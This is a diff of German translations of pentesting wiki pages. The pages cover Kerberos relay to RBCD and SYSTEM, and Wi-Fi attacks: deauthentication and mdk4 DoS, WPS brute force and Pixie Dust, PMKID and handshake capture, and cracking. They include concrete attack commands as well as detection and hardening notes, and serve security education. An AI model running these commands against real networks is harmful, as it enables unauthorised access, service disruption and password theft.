@ -91,7 +91,7 @@ beacon> socks stop
- **Metasploit**: Mit Proxys, lokalen und entfernten Hostdetails eingerichtet.
- **smbrelayx**: Ein Python-Skript zum Relaying von SMB-Sitzungen und Ausführen von Befehlen oder Bereitstellen von Backdoors.
- **MultiRelay**: Ein Werkzeug aus der Responder-Suite, um bestimmte Benutzer oder alle Benutzer zu relaying, Befehle auszuführen oder Hashes zu dumpen.
- **MultiRelay**: Ein Werkzeug aus der Responder-Suite, um spezifische Benutzer oder alle Benutzer zu relayn, Befehle auszuführen oder Hashes zu dumpen.
Jedes Werkzeug kann so konfiguriert werden, dass es bei Bedarf über einen SOCKS-Proxy arbeitet, was Angriffe selbst bei indirektem Netzwerkzugang ermöglicht.
@ -111,15 +111,16 @@ Diese Tools und Techniken bilden ein umfassendes Set für die Durchführung von
In Windows **könnten Sie in der Lage sein, einige privilegierte Konten zu zwingen, sich an beliebigen Maschinen zu authentifizieren**. Lesen Sie die folgende Seite, um zu erfahren, wie:
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
## Kerberos Relay-Angriff
Ein **Kerberos Relay-Angriff** stiehlt ein **AP-REQ-Ticket** von einem Dienst und verwendet es erneut gegen einen zweiten Dienst, der den **gleichen Computer-Kontenschlüssel** teilt (da beide SPNs auf demselben `$` Maschinenkonto sitzen). Dies funktioniert, obwohl die **Dienstklassen der SPNs unterschiedlich sind** (z. B. `CIFS/``LDAP/`), da der *Schlüssel*, der das Ticket entschlüsselt, der NT-Hash der Maschine ist, nicht der SPN-String selbst, und der SPN-String ist kein Teil der Signatur.
Ein **Kerberos Relay-Angriff** stiehlt ein **AP-REQ-Ticket** von einem Dienst und verwendet es erneut gegen einen zweiten Dienst, der den **gleichen Computer-Kontenschlüssel** teilt (da beide SPNs auf demselben `$` Maschinenkonto sitzen). Dies funktioniert, obwohl die **Dienstklassen der SPNs unterschiedlich sind** (z. B. `CIFS/``LDAP/`), da der *Schlüssel*, der das Ticket entschlüsselt, der NT-Hash der Maschine ist, nicht der SPN-String selbst, und der SPN-String kein Teil der Signatur ist.
Im Gegensatz zum NTLM-Relay ist der Sprung auf die *gleiche Host* beschränkt, aber wenn Sie ein Protokoll anvisieren, das es Ihnen ermöglicht, in LDAP zu schreiben, können Sie in **Resource-Based Constrained Delegation (RBCD)** oder **AD CS-Registrierung** einsteigen und **NT AUTHORITY\SYSTEM** in einem einzigen Schritt übernehmen.
Im Gegensatz zum NTLM-Relay ist der Sprung auf den *gleichen Host* beschränkt, aber wenn Sie ein Protokoll anvisieren, das es Ihnen ermöglicht, in LDAP zu schreiben, können Sie in die **ressourcenbasierte eingeschränkte Delegation (RBCD)** oder **AD CS-Registrierung** einsteigen und **NT AUTHORITY\SYSTEM** in einem einzigen Schritt übernehmen.
Für detaillierte Informationen zu diesem Angriff überprüfen Sie:
@ -129,12 +130,12 @@ Für detaillierte Informationen zu diesem Angriff überprüfen Sie:
- 1. **Kerberos-Grundlagen**
| Token | Zweck | Relevanz für Relay |
|-------|-------|--------------------|
|-------|---------|-----------------|
| **TGT / AS-REQ ↔ REP** | Beweist den Benutzer gegenüber dem KDC | unberührt |
| **Dienstticket / TGS-REQ ↔ REP** | An einen **SPN** gebunden; mit dem Schlüssel des SPN-Besitzers verschlüsselt | austauschbar, wenn SPNs das Konto teilen |
| **Dienstticket / TGS-REQ ↔ REP** | An ein **SPN** gebunden; mit dem Schlüssel des SPN-Besitzers verschlüsselt | austauschbar, wenn SPNs das Konto teilen |
| **AP-REQ** | Client sendet `TGS` an den Dienst | **was wir stehlen & wiedergeben** |
* Tickets sind mit dem **passwortabgeleiteten Schlüssel des Kontos, das den SPN besitzt**, verschlüsselt.
* Tickets sind mit dem **passwortabgeleiteten Schlüssel des Kontos, das das SPN besitzt**, verschlüsselt.
* Der **Authenticator** im AP-REQ hat einen Zeitstempel von 5 Minuten; die Wiederholung innerhalb dieses Fensters ist gültig, bis der Dienstcache ein Duplikat sieht.
* Windows überprüft selten, ob der SPN-String im Ticket mit dem Dienst übereinstimmt, den Sie ansprechen, sodass ein Ticket für `CIFS/HOST` normalerweise gut auf `LDAP/HOST` entschlüsselt.
@ -142,7 +143,7 @@ Für detaillierte Informationen zu diesem Angriff überprüfen Sie:
1. **Geteilter Schlüssel:** Quell- und Ziel-SPNs gehören zum selben Computer-Konto (Standard auf Windows-Servern).
2. **Kein Kanal-Schutz:** SMB/LDAP-Signierung deaktiviert und EPA für HTTP/LDAPS deaktiviert.
3. **Sie können die Authentifizierung abfangen oder zwingen:** LLMNR/NBNS-Vergiftung, DNS-Spoofing, **PetitPotam / DFSCoerce RPC**, gefälschter AuthIP, bösartiger DCOM usw.
3. **Sie können die Authentifizierung abfangen oder zwingen:** LLMNR/NBNS-Vergiftung, DNS-Spoofing, **PetitPotam / DFSCoerce RPC**, gefälschter AuthIP, bösartiges DCOM usw.
4. **Ticketquelle nicht bereits verwendet:** Sie gewinnen das Rennen, bevor das echte Paket ankommt oder blockieren es vollständig; andernfalls wird der Replay-Cache des Servers Event 4649 auslösen.
5. Sie müssen irgendwie in der Lage sein, ein **MitM in der Kommunikation** durchzuführen, möglicherweise indem Sie Teil der DNSAmins-Gruppe sind, um die DNS des Domäne zu ändern oder die HOST-Datei des Opfers zu ändern.
@ -173,9 +174,9 @@ DFSCoerce lässt den DC ein Kerberos `CIFS/DC01` Ticket an uns senden.
- 3.4 **Leite die AP-REQ weiter**
KrbRelay extrahiert den GSS Blob aus SMB, verpackt ihn in einen LDAP Bind und leitet ihn an `ldap://DC01` weiter die Authentifizierung gelingt, weil der **gleiche Schlüssel** ihn entschlüsselt.
KrbRelay extrahiert den GSS-BLOB aus SMB, verpackt ihn in einen LDAP-Bind und leitet ihn an `ldap://DC01` weiter die Authentifizierung gelingt, weil der **gleiche Schlüssel** ihn entschlüsselt.
- 3.5 **Missbrauch von LDAP ➜ RBCD ➜ SYSTEM**
- 3.5 **Missbrauche LDAP ➜ RBCD ➜ SYSTEM**
```powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
@ -189,10 +190,10 @@ You now own **NT AUTHORITY\SYSTEM**.
| Vektor | Trick | Warum es wichtig ist |
|--------|-------|---------------------|
| **AuthIP / IPSec** | Falscher Server sendet eine **GSS-ID-Nutzlast** mit beliebigem SPN; Client baut eine AP-REQ direkt zu Ihnen | Funktioniert sogar über Subnetze; Maschinenanmeldeinformationen standardmäßig |
| **AuthIP / IPSec** | Falscher Server sendet eine **GSS-ID-Nutzlast** mit beliebigem SPN; Client erstellt eine AP-REQ direkt zu dir | Funktioniert sogar über Subnetze; Maschinenanmeldeinformationen standardmäßig |
| **DCOM / MSRPC** | Bösartiger OXID-Resolver zwingt den Client, sich bei beliebigem SPN und Port zu authentifizieren | Reine *lokale* Privilegieneskalation; umgeht die Firewall |
| **AD CS Web Enroll** | Relay-Maschinen-Ticket an `HTTP/CA` und erhalten Sie ein Zertifikat, dann **PKINIT**, um TGTs zu erstellen | Umgeht LDAP-Signierungsabwehr |
| **Shadow Credentials** | Schreiben Sie `msDS-KeyCredentialLink`, dann PKINIT mit gefälschtem Schlüsselpaar | Keine Notwendigkeit, ein Computer-Konto hinzuzufügen |
| **AD CS Web Enroll** | Relay-Maschinen-Ticket zu `HTTP/CA` und ein Zertifikat erhalten, dann **PKINIT** zur Erstellung von TGTs | Umgeht LDAP-Signierungsabwehr |
| **Shadow Credentials** | Schreibe `msDS-KeyCredentialLink`, dann PKINIT mit gefälschtem Schlüsselpaar | Keine Notwendigkeit, ein Computer-Konto hinzuzufügen |
### **Fehlerbehebung**
@ -200,23 +201,23 @@ You now own **NT AUTHORITY\SYSTEM**.
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | Ticket-Schlüssel ≠ Ziel-Schlüssel | Falscher Host/SPN |
| `KRB_AP_ERR_SKEW` | Uhr > 5 Minuten Versatz | Zeit synchronisieren oder `w32tm` verwenden |
| LDAP-Bindung schlägt fehl | Signierung durchgesetzt | Verwenden Sie den AD CS-Pfad oder deaktivieren Sie die Signierung |
| Event 4649 Spam | Dienst sah doppelten Authenticator | blockieren oder ursprüngliches Paket überholen |
| LDAP-Bindung schlägt fehl | Signierung durchgesetzt | Verwende AD CS-Pfad oder deaktiviere die Signierung |
| Event 4649 Spam | Dienst sah doppelten Authenticator | blockiere oder überhole das ursprüngliche Paket |
### **Erkennung**
* Anstieg von **Event 4769** für `CIFS/`, `HTTP/`, `LDAP/` aus derselben Quelle innerhalb von Sekunden.
* **Event 4649** im Dienst zeigt an, dass ein Replay erkannt wurde.
* Kerberos-Anmeldung von **127.0.0.1** (Relay zu lokalem SCM) ist hochgradig verdächtig—über Sigma-Regel in KrbRelayUp-Dokumenten abbilden.
* Änderungen an den Attributen `msDS-AllowedToActOnBehalfOfOtherIdentity` oder `msDS-KeyCredentialLink` beobachten.
* Kerberos-Anmeldung von **127.0.0.1** (Relay zu lokalem SCM) ist sehr verdächtig—über die Sigma-Regel in den KrbRelayUp-Dokumenten abbilden.
* Achte auf Änderungen an den Attributen `msDS-AllowedToActOnBehalfOfOtherIdentity` oder `msDS-KeyCredentialLink`.
## **Härtung**
1. **Durchsetzen von LDAP- und SMB-Signierung + EPA** auf jedem Server.
2. **SPNs aufteilen**, sodass HTTP nicht im selben Konto wie CIFS/LDAP ist.
3. Patchen von Zwangsvektoren (PetitPotam KB5005413, DFS, AuthIP).
4. Setzen Sie **`ms-DS-MachineAccountQuota = 0`**, um unerwünschte Computeranmeldungen zu stoppen.
5. Alarmieren Sie bei **Event 4649** und unerwarteten Loopback-Kerberos-Anmeldungen.
1. **Erzwinge LDAP- und SMB-Signierung + EPA** auf jedem Server.
2. **Teile SPNs** auf, sodass HTTP nicht im selben Konto wie CIFS/LDAP ist.
3. Patch-Coercion-Vektoren (PetitPotam KB5005413, DFS, AuthIP).
4. Setze **`ms-DS-MachineAccountQuota = 0`**, um unerwünschte Computeranmeldungen zu stoppen.
5. Alarmiere bei **Event 4649** und unerwarteten Loopback-Kerberos-Anmeldungen.
## Referenzen

View File

@ -21,6 +21,7 @@ iwlist wlan0 scan #Scan available wifis
### Hijacker & NexMon (Android internes Wi-Fi)
{{#ref}}
enable-nexmon-monitor-and-injection-on-android.md
{{#endref}}
@ -73,9 +74,9 @@ Dieses Tool automatisiert **WPS/WEP/WPA-PSK** Angriffe. Es wird automatisch:
## Angriffsübersicht
- **DoS**
- Deauthentication/Disassociation -- Alle (oder ein bestimmtes ESSID/Client) trennen
- Zufällige gefälschte APs -- Netzwerke verstecken, mögliche Scanner zum Absturz bringen
- AP überlasten -- Versuchen, den AP zu töten (normalerweise nicht sehr nützlich)
- Deauthentifizierung/Dissoziation -- Alle (oder ein bestimmtes ESSID/Client) trennen
- Zufällige gefälschte APs -- Netze verstecken, mögliche Scanner zum Absturz bringen
- AP überlasten -- Versuchen, den AP abzutöten (normalerweise nicht sehr nützlich)
- WIDS -- Mit dem IDS spielen
- TKIP, EAPOL -- Einige spezifische Angriffe, um einige APs zu DoS
- **Cracking**
@ -97,13 +98,13 @@ Dieses Tool automatisiert **WPS/WEP/WPA-PSK** Angriffe. Es wird automatisch:
## DOS
### Deauthentication-Pakete
### Deauthentifizierungs-Pakete
**Beschreibung von** [**hier**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**Deauthentication**-Angriffe, eine verbreitete Methode im Wi-Fi-Hacking, beinhalten das Fälschen von "Management"-Frames, um **Geräte gewaltsam von einem Netzwerk zu trennen**. Diese unverschlüsselten Pakete täuschen die Clients vor, dass sie vom legitimen Netzwerk stammen, was Angreifern ermöglicht, WPA-Handshakes zu sammeln, um sie zu knacken, oder um Netzwerkverbindungen dauerhaft zu stören. Diese Taktik, die in ihrer Einfachheit alarmierend ist, wird weit verbreitet eingesetzt und hat erhebliche Auswirkungen auf die Netzwerksicherheit.
**Deauthentifizierungs**-Angriffe, eine verbreitete Methode im Wi-Fi-Hacking, beinhalten das Fälschen von "Management"-Frames, um **Geräte gewaltsam von einem Netzwerk zu trennen**. Diese unverschlüsselten Pakete täuschen die Clients vor, dass sie vom legitimen Netzwerk stammen, was Angreifern ermöglicht, WPA-Handshakes zu sammeln, um sie zu knacken, oder um Netzwerkverbindungen dauerhaft zu stören. Diese Taktik, die in ihrer Einfachheit alarmierend ist, wird weit verbreitet eingesetzt und hat erhebliche Auswirkungen auf die Netzwerksicherheit.
**Deauthentication mit Aireplay-ng**
**Deauthentifizierung mit Aireplay-ng**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
@ -156,7 +157,7 @@ Die Abfrage von Access Points (APs) überprüft, ob ein SSID ordnungsgemäß ang
**ANGRIFFSMODUS m: Ausnutzung von Michael-Gegenmaßnahmen**
Das Senden von zufälligen oder doppelten Paketen an verschiedene QoS-Warteschlangen kann Michael-Gegenmaßnahmen auf **TKIP-APs** auslösen, was zu einem einminütigen Shutdown des APs führt. Diese Methode ist eine effiziente Taktik für **DoS** (Denial of Service)-Angriffe.
Das Senden von zufälligen oder doppelten Paketen an verschiedene QoS-Warteschlangen kann Michael-Gegenmaßnahmen auf **TKIP APs** auslösen, was zu einer einminütigen Abschaltung des APs führt. Diese Methode ist eine effiziente Taktik für **DoS** (Denial of Service) Angriffe.
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
@ -164,7 +165,7 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**ANGRIFFSMODUS e: EAPOL Start- und Logoff-Paket-Injektion**
Das Überfluten eines AP mit **EAPOL Start-Frames** erzeugt **falsche Sitzungen**, überwältigt den AP und blockiert legitime Clients. Alternativ führt das Injizieren von **falschen EAPOL Logoff-Nachrichten** zu einer erzwungenen Trennung der Clients; beide Methoden stören effektiv den Netzwerkdienst.
Das Überfluten eines AP mit **EAPOL Start-Frames** erzeugt **falsche Sitzungen**, überlastet den AP und blockiert legitime Clients. Alternativ führt das Injizieren von **falschen EAPOL Logoff-Nachrichten** zu einer erzwungenen Trennung der Clients, wobei beide Methoden den Netzwerkdienst effektiv stören.
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
@ -198,8 +199,8 @@ WPS (Wi-Fi Protected Setup) vereinfacht den Prozess der Verbindung von Geräten
Es gibt 2 Hauptwerkzeuge, um diese Aktion durchzuführen: Reaver und Bully.
- **Reaver** wurde entwickelt, um einen robusten und praktischen Angriff gegen WPS durchzuführen und wurde gegen eine Vielzahl von Zugangspunkten und WPS-Implementierungen getestet.
- **Bully** ist eine **neue Implementierung** des WPS-Brute-Force-Angriffs, geschrieben in C. Es hat mehrere Vorteile gegenüber dem ursprünglichen Reaver-Code: weniger Abhängigkeiten, verbesserte Speicher- und CPU-Leistung, korrekte Handhabung der Endianness und ein robusteres Set von Optionen.
- **Reaver** wurde entwickelt, um einen robusten und praktischen Angriff gegen WPS zu ermöglichen und wurde gegen eine Vielzahl von Zugangspunkten und WPS-Implementierungen getestet.
- **Bully** ist eine **neue Implementierung** des WPS-Brute-Force-Angriffs, geschrieben in C. Es hat mehrere Vorteile gegenüber dem ursprünglichen Reaver-Code: weniger Abhängigkeiten, verbesserte Speicher- und CPU-Leistung, korrekte Handhabung der Endianness und eine robustere Auswahl an Optionen.
Der Angriff nutzt die **Anfälligkeit der WPS-PIN**, insbesondere die Offenlegung der ersten vier Ziffern und die Rolle der letzten Ziffer als Prüfziffer, was den Brute-Force-Angriff erleichtert. Allerdings erfordern Abwehrmaßnahmen gegen Brute-Force-Angriffe, wie das **Blockieren von MAC-Adressen** aggressiver Angreifer, eine **MAC-Adressrotation**, um den Angriff fortzusetzen.
@ -212,14 +213,14 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Dieser verfeinerte Ansatz zielt auf WPS-PINs ab, die bekannte Schwachstellen nutzen:
1. **Vorentdeckte PINs**: Nutzen Sie eine Datenbank mit bekannten PINs, die mit bestimmten Herstellern verknüpft sind, die einheitliche WPS-PINs verwenden. Diese Datenbank korreliert die ersten drei Oktette der MAC-Adressen mit wahrscheinlichen PINs für diese Hersteller.
1. **Vorentdeckte PINs**: Nutzen Sie eine Datenbank mit bekannten PINs, die mit bestimmten Herstellern verknüpft sind, die dafür bekannt sind, einheitliche WPS-PINs zu verwenden. Diese Datenbank korreliert die ersten drei Oktette der MAC-Adressen mit wahrscheinlichen PINs für diese Hersteller.
2. **PIN-Generierungsalgorithmen**: Nutzen Sie Algorithmen wie ComputePIN und EasyBox, die WPS-PINs basierend auf der MAC-Adresse des APs berechnen. Der Arcadyan-Algorithmus erfordert zusätzlich eine Geräte-ID, was eine zusätzliche Schicht im PIN-Generierungsprozess hinzufügt.
### WPS Pixie Dust attack
**Dominique Bongard** entdeckte einen Fehler in einigen Access Points (APs) bezüglich der Erstellung von geheimen Codes, bekannt als **nonces** (**E-S1** und **E-S2**). Wenn diese nonces herausgefunden werden können, wird das Knacken des WPS-PINs des APs einfach. Der AP gibt den PIN innerhalb eines speziellen Codes (Hash) preis, um zu beweisen, dass er legitim und kein gefälschter (rogue) AP ist. Diese nonces sind im Wesentlichen die "Schlüssel", um den "Safe" zu öffnen, der den WPS-PIN enthält. Mehr dazu finden Sie [hier](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
**Dominique Bongard** entdeckte einen Fehler in einigen Access Points (APs) bezüglich der Erstellung von geheimen Codes, bekannt als **Nonces** (**E-S1** und **E-S2**). Wenn diese Nonces herausgefunden werden können, wird das Knacken des WPS-PINs des APs einfach. Der AP gibt den PIN innerhalb eines speziellen Codes (Hash) preis, um zu beweisen, dass er legitim und kein gefälschter (rogue) AP ist. Diese Nonces sind im Wesentlichen die "Schlüssel", um den "Safe" zu öffnen, der den WPS-PIN enthält. Mehr dazu finden Sie [hier](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
Einfach ausgedrückt, besteht das Problem darin, dass einige APs nicht ausreichend zufällige Schlüssel zur Verschlüsselung des PINs während des Verbindungsprozesses verwendet haben. Dies macht den PIN anfällig dafür, von außerhalb des Netzwerks (Offline-Brute-Force-Angriff) erraten zu werden.
Einfach ausgedrückt, das Problem ist, dass einige APs nicht ausreichend zufällige Schlüssel zur Verschlüsselung des PINs während des Verbindungsprozesses verwendet haben. Dies macht den PIN anfällig dafür, von außerhalb des Netzwerks (Offline-Brute-Force-Angriff) erraten zu werden.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
@ -243,7 +244,7 @@ Alle vorgeschlagenen WPS-Angriffe können einfach mit _**airgeddon.**_ durchgef
- 5 und 6 ermöglichen es Ihnen, **Ihren benutzerdefinierten PIN** auszuprobieren (wenn Sie einen haben)
- 7 und 8 führen den **Pixie Dust Angriff** durch
- 13 ermöglicht es Ihnen, den **NULL PIN** zu testen
- 11 und 12 werden **die mit dem ausgewählten AP verbundenen PINs aus verfügbaren Datenbanken sammeln** und **mögliche PINs generieren** mit: ComputePIN, EasyBox und optional Arcadyan (empfohlen, warum nicht?)
- 11 und 12 werden **die PINs, die mit dem ausgewählten AP aus verfügbaren Datenbanken verbunden sind, sammeln** und **mögliche PINs generieren** mit: ComputePIN, EasyBox und optional Arcadyan (empfohlen, warum nicht?)
- 9 und 10 testen **jeden möglichen PIN**
## **WEP**
@ -262,13 +263,13 @@ So kaputt und heutzutage ungenutzt. Wissen Sie einfach, dass _**airgeddon**_ ein
Im Jahr 2018 enthüllte **hashcat** [eine neue Angriffsmethode](https://hashcat.net/forum/thread-7717.html), die einzigartig ist, da sie nur **ein einzelnes Paket** benötigt und keine Clients benötigt, die mit dem Ziel-AP verbunden sind nur Interaktion zwischen dem Angreifer und dem AP.
Viele moderne Router fügen während der Assoziation ein **optional Feld** zum **ersten EAPOL**-Frame hinzu, bekannt als `Robust Security Network`. Dies umfasst das `PMKID`.
Viele moderne Router fügen während der Assoziation ein **optional Feld** zum **ersten EAPOL**-Frame hinzu, bekannt als `Robust Security Network`. Dies umfasst die `PMKID`.
Wie der ursprüngliche Beitrag erklärt, wird das **PMKID** mit bekannten Daten erstellt:
Wie der ursprüngliche Beitrag erklärt, wird die **PMKID** mit bekannten Daten erstellt:
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
Da der "PMK-Name" konstant ist, kennen wir die BSSID des AP und der Station, und das `PMK` identisch mit dem aus einem vollständigen 4-Wege-Handshake ist, kann **hashcat** diese Informationen nutzen, um den PSK zu knacken und das Passwort wiederherzustellen!
Da der "PMK-Name" konstant ist, kennen wir die BSSID des AP und der Station, und das `PMK` ist identisch mit dem aus einem vollständigen 4-Wege-Handshake, kann **hashcat** diese Informationen nutzen, um den PSK zu knacken und das Passwort wiederherzustellen!
Um diese Informationen zu **sammeln** und das Passwort lokal zu **bruteforcen**, kannst du Folgendes tun:
```bash
@ -291,7 +292,7 @@ john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
Bitte beachten Sie, dass das Format eines korrekten Hashs **4 Teile** enthält, wie: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. Wenn Ihrer **nur** **3 Teile** enthält, ist er **ungültig** (der PMKID-Capture war nicht gültig).
Beachten Sie, dass `hcxdumptool` **auch Handshakes erfasst** (etwas wie dies wird erscheinen: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Sie können die **Handshakes** in **hashcat**/**john**-Format mit `cap2hccapx` **umwandeln**.
Beachten Sie, dass `hcxdumptool` **auch Handshakes erfasst** (etwas wie dies wird erscheinen: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Sie könnten die **Handshakes** in **hashcat**/**john**-Format mit `cap2hccapx` **transformieren**.
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -314,9 +315,9 @@ airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pca
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
_Beachten Sie, dass der Client, als er deauthentifiziert wurde, versuchen könnte, sich mit einem anderen AP oder in anderen Fällen mit einem anderen Netzwerk zu verbinden._
_Hinweis: Da der Client deauthentifiziert wurde, könnte er versuchen, sich mit einem anderen AP oder in anderen Fällen mit einem anderen Netzwerk zu verbinden._
Sobald im `airodump-ng` einige Handshake-Informationen erscheinen, bedeutet dies, dass der Handshake erfasst wurde und Sie das Lauschen stoppen können:
Sobald in `airodump-ng` einige Handshake-Informationen erscheinen, bedeutet dies, dass der Handshake erfasst wurde und Sie das Lauschen stoppen können:
![](<../../images/image (172) (1).png>)
@ -324,7 +325,7 @@ Sobald der Handshake erfasst ist, können Sie ihn mit `aircrack-ng` **knacken**:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
### Überprüfen, ob Handshake in der Datei
### Überprüfen, ob der Handshake in der Datei ist
**aircrack**
```bash
@ -368,38 +369,38 @@ Sie finden weitere Informationen zu diesen Authentifizierungsmethoden [hier](htt
### Benutzername erfassen
Laut [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) sieht es so aus, als ob, wenn Sie **EAP** verwenden, die **"Identitäts"** **nachrichten** **unterstützt** werden müssen, und der **benutzername** wird in den **"Response Identity"** Nachrichten im **Klartext** gesendet.
Laut [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) sieht es so aus, als ob, wenn Sie **EAP** verwenden, die **"Identitäts"** **Nachrichten** **unterstützt** werden müssen, und der **Benutzername** wird in den **"Response Identity"** Nachrichten im **Klartext** gesendet.
Selbst bei Verwendung einer der sichersten Authentifizierungsmethoden: **PEAP-EAP-TLS** ist es möglich, den **Benutzernamen, der im EAP-Protokoll gesendet wird, zu erfassen**. Dazu **erfassen Sie eine Authentifizierungs Kommunikation** (starten Sie `airodump-ng` in einem Kanal und `wireshark` im selben Interface) und filtern Sie die Pakete nach `eapol`.\
Selbst bei Verwendung einer der sichersten Authentifizierungsmethoden: **PEAP-EAP-TLS**, ist es möglich, den **Benutzernamen, der im EAP-Protokoll gesendet wird, zu erfassen**. Dazu **erfassen Sie eine Authentifizierungscommunication** (starten Sie `airodump-ng` in einem Kanal und `wireshark` im selben Interface) und filtern Sie die Pakete nach `eapol`.\
Im Paket "**Response, Identity**" wird der **Benutzername** des Clients erscheinen.
![](<../../images/image (850).png>)
### Anonyme Identitäten
Die Identitätsverbergung wird sowohl von EAP-PEAP als auch von EAP-TTLS unterstützt. Im Kontext eines WiFi-Netzwerks wird eine EAP-Identitätsanfrage typischerweise vom Access Point (AP) während des Assoziierungsprozesses initiiert. Um den Schutz der Anonymität der Benutzer zu gewährleisten, enthält die Antwort des EAP-Clients auf dem Gerät des Benutzers nur die wesentlichen Informationen, die der ursprüngliche RADIUS-Server benötigt, um die Anfrage zu verarbeiten. Dieses Konzept wird durch die folgenden Szenarien veranschaulicht:
Die Identitätsverbergung wird sowohl von EAP-PEAP als auch von EAP-TTLS unterstützt. Im Kontext eines WiFi-Netzwerks wird eine EAP-Identitätsanforderung typischerweise vom Access Point (AP) während des Assoziationsprozesses initiiert. Um den Schutz der Anonymität der Benutzer zu gewährleisten, enthält die Antwort des EAP-Clients auf dem Gerät des Benutzers nur die wesentlichen Informationen, die der ursprüngliche RADIUS-Server benötigt, um die Anfrage zu verarbeiten. Dieses Konzept wird durch die folgenden Szenarien veranschaulicht:
- EAP-Identity = anonym
- In diesem Szenario verwenden alle Benutzer das pseudonyme "anonym" als ihre Benutzerkennung. Der ursprüngliche RADIUS-Server fungiert entweder als EAP-PEAP- oder EAP-TTLS-Server, der für die Verwaltung der serverseitigen PEAP- oder TTLS-Protokolle verantwortlich ist. Die innere (geschützte) Authentifizierungsmethode wird dann entweder lokal behandelt oder an einen entfernten (Heim-) RADIUS-Server delegiert.
- EAP-Identity = anonym@realm_x
- EAP-Identität = anonym
- In diesem Szenario verwenden alle Benutzer das Pseudonym "anonym" als ihre Benutzerkennung. Der ursprüngliche RADIUS-Server fungiert entweder als EAP-PEAP- oder EAP-TTLS-Server, der für die Verwaltung der serverseitigen PEAP- oder TTLS-Protokolle verantwortlich ist. Die innere (geschützte) Authentifizierungsmethode wird dann entweder lokal behandelt oder an einen entfernten (Heim-)RADIUS-Server delegiert.
- EAP-Identität = anonym@realm_x
- In dieser Situation verbergen Benutzer aus verschiedenen Bereichen ihre Identitäten, während sie ihre jeweiligen Bereiche angeben. Dies ermöglicht es dem ursprünglichen RADIUS-Server, die EAP-PEAP- oder EAP-TTLS-Anfragen an RADIUS-Server in ihren Heimatbereichen weiterzuleiten, die als PEAP- oder TTLS-Server fungieren. Der ursprüngliche RADIUS-Server fungiert ausschließlich als RADIUS-Relay-Knoten.
- Alternativ kann der ursprüngliche RADIUS-Server als EAP-PEAP- oder EAP-TTLS-Server fungieren und entweder die geschützte Authentifizierungsmethode behandeln oder an einen anderen Server weiterleiten. Diese Option erleichtert die Konfiguration unterschiedlicher Richtlinien für verschiedene Bereiche.
In EAP-PEAP, sobald der TLS-Tunnel zwischen dem PEAP-Server und dem PEAP-Client eingerichtet ist, initiiert der PEAP-Server eine EAP-Identitätsanfrage und überträgt sie durch den TLS-Tunnel. Der Client antwortet auf diese zweite EAP-Identitätsanfrage, indem er eine EAP-Identitätsantwort sendet, die die wahre Identität des Benutzers durch den verschlüsselten Tunnel enthält. Dieser Ansatz verhindert effektiv die Offenlegung der tatsächlichen Identität des Benutzers gegenüber jedem, der den 802.11-Verkehr abhört.
In EAP-PEAP, sobald der TLS-Tunnel zwischen dem PEAP-Server und dem PEAP-Client eingerichtet ist, initiiert der PEAP-Server eine EAP-Identitätsanforderung und überträgt sie durch den TLS-Tunnel. Der Client antwortet auf diese zweite EAP-Identitätsanforderung, indem er eine EAP-Identitätsantwort sendet, die die wahre Identität des Benutzers durch den verschlüsselten Tunnel enthält. Dieser Ansatz verhindert effektiv die Offenlegung der tatsächlichen Identität des Benutzers gegenüber jedem, der den 802.11-Verkehr abhört.
EAP-TTLS folgt einem etwas anderen Verfahren. Bei EAP-TTLS authentifiziert sich der Client typischerweise mit PAP oder CHAP, gesichert durch den TLS-Tunnel. In diesem Fall enthält der Client ein User-Name-Attribut und entweder ein Password- oder CHAP-Password-Attribut in der ersten TLS-Nachricht, die nach der Tunnel-Einrichtung gesendet wird.
EAP-TTLS folgt einem etwas anderen Verfahren. Bei EAP-TTLS authentifiziert sich der Client typischerweise mit PAP oder CHAP, gesichert durch den TLS-Tunnel. In diesem Fall enthält der Client ein User-Name-Attribut und entweder ein Passwort- oder CHAP-Passwort-Attribut in der ursprünglichen TLS-Nachricht, die nach der Tunnelherstellung gesendet wird.
